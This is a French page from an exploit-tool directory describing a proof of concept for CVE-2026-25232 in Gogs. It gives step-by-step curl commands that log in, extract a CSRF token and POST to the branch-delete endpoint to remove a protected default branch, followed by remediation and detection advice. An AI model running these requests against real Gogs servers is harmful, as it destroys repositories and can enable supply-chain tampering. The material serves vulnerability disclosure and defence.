Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25232-PoC — Preuve de concept pour la récente CVE-2026-25232 qui est une vulnérabilité d'élévation de privilèges présente dans Gogs. | Kitploit
Outils/GitHubGitHub/h1sok444/cve-2026-25232-poc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubh1sok444/cve-2026-25232-poc

CVE-2026-25232-PoC

Preuve de concept pour la récente CVE-2026-25232 qui est une vulnérabilité d'élévation de privilèges présente dans Gogs.

Voir le dépôt
14il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25232 — Contournement de la suppression de branche protégée dans Gogs (Escalade Write → Admin)

Vue d'ensemble

ChampDétails
CVECVE-2026-25232
ProduitGogs (Go Git Service)
Versions affectées<= 0.13.4
Version corrigée0.14.1
Score CVSSMoyen
CWECWE-863 : Autorisation incorrecte
Authentification requiseOui (permissions Write sur un dépôt)
ImpactEscalade de privilèges de Write vers des opérations de niveau Admin

Description

CVE-2026-25232 est une vulnérabilité de contournement du contrôle d'accès dans l'interface web de Gogs. Elle permet à tout collaborateur de dépôt disposant des permissions Write de supprimer des branches protégées — y compris la branche par défaut — en envoyant une requête POST directe au point de terminaison DeleteBranchPost, contournant complètement les mécanismes de protection des branches.

La cause racine est une divergence entre la manière dont la couche Git Hook et l'interface web appliquent la protection des branches :

  • Git Hooks (SSH) : bloquent correctement la suppression des branches protégées via les opérations push SSH
  • Interface web : la fonction DeleteBranchPost ne déclenche pas les Git Hooks, donc le contrôle de protection n'est jamais exécuté

Cela permet à un collaborateur à faibles privilèges d'effectuer des opérations qui devraient être réservées aux administrateurs du dépôt.


Prérequis

  • Un compte Gogs enregistré
  • Permissions Write sur un dépôt cible
  • Branches protégées configurées sur le dépôt cible
  • Accès réseau à l'interface web de Gogs

Preuve de concept

Environnement

  • Cible : http://<TARGET>:3001
  • Compte attaquant : attacker:Password123! (permissions Write sur le dépôt)
  • Dépôt cible : admin/important-repo
  • Branche protégée : main (branche par défaut)

Étape 1 — Vérifier que la protection de branche est activée

Confirmez que la branche est protégée et ne peut pas être supprimée par les moyens normaux :

root@kitploit:~
# Tentative de suppression normale de branche via l'API - cela devrait échouer
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

Réponse attendue : 403 Forbidden ou erreur de protection.


Étape 2 — Obtenir un jeton CSRF valide

Récupérez le jeton CSRF depuis n'importe quelle page authentifiée :

root@kitploit:~
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# Extraire le jeton CSRF depuis une page de dépôt
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

Étape 3 — Contourner la protection via un POST direct vers DeleteBranchPost

Envoyez une requête POST directe au point de terminaison de suppression de branche, contournant le contrôle de protection :

root@kitploit:~
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

La branche protégée est supprimée malgré le fait que l'attaquant ne dispose que des permissions Write.


Étape 4 — Vérifier la suppression

root@kitploit:~
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

La branche main n'apparaîtra plus dans la réponse.


Pourquoi cela fonctionne

La fonction DeleteBranchPost dans le gestionnaire web de Gogs valide que l'utilisateur est authentifié et dispose d'un accès Write au dépôt, mais ne vérifie pas si la branche cible est protégée :

root@kitploit:~
HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
Vérification : l'utilisateur est-il authentifié ? ✓
Vérification : l'utilisateur a-t-il un accès Write ? ✓
Vérification : la branche est-elle protégée ? ✗ (MANQUANTE)
    ↓
Branche supprimée avec succès

La couche Git Hook qui applique la protection des branches n'est déclenchée que lors des opérations push/suppression Git via SSH ou le protocole Git HTTP — pas lors des opérations de l'interface web. Cette lacune architecturale signifie que tout collaborateur de niveau Write peut effectuer cette opération.


Impact

Un collaborateur malveillant disposant des permissions Write peut :

  • Supprimer toute branche protégée, y compris la branche par défaut
  • Détruire la ligne de développement principale du dépôt
  • Perturber les pipelines CI/CD qui dépendent de la branche protégée
  • Effectuer un force-push ou recréer des branches sans protection, permettant l'injection de code dans les pipelines de production
  • Élever les privilèges effectifs de Write → niveau Admin pour les opérations de gestion des branches

Dans les environnements où les dépôts Gogs alimentent des pipelines de déploiement automatisés, cela pourrait conduire à une compromission de la chaîne d'approvisionnement.


Remédiation

Mettez à niveau vers Gogs v0.14.1 ou version ultérieure. Le correctif ajoute des contrôles d'autorisation appropriés dans la fonction DeleteBranchPost pour vérifier le statut de protection des branches avant d'autoriser la suppression, quelle que soit la manière dont la requête est effectuée.

Comme mesure d'atténuation temporaire :

  • Restreignez l'accès Write aux dépôts uniquement aux utilisateurs hautement fiables
  • Implémentez des contrôles d'accès au niveau réseau pour limiter qui peut atteindre l'interface web de Gogs
  • Surveillez les journaux du serveur web pour détecter les requêtes POST inattendues vers /repos/{owner}/{repo}/branches/delete
  • Utilisez des solutions de sauvegarde externes pour conserver des copies des branches protégées

Détection

Recherchez les indicateurs d'exploitation suivants :

  • Requêtes POST inattendues vers /<owner>/<repo>/branches/delete dans les journaux du serveur web
  • Branches protégées supprimées sans activité Git Hook correspondante dans les journaux
  • Événements de suppression de branche par des utilisateurs ne disposant pas de privilèges Admin
  • Branche par défaut manquante ou modifiée de manière inattendue

Références

  • Avis de sécurité GitHub GHSA-2c6v-8r3v-gh6p
  • Version Gogs v0.14.1
  • CWE-863 : Autorisation incorrecte

Avertissement

Cette PoC est fournie à des fins éducatives et pour des tests de sécurité autorisés uniquement. Ne l'utilisez pas contre des systèmes pour lesquels vous n'avez pas l'autorisation explicite de tester.

Télécharger l’outil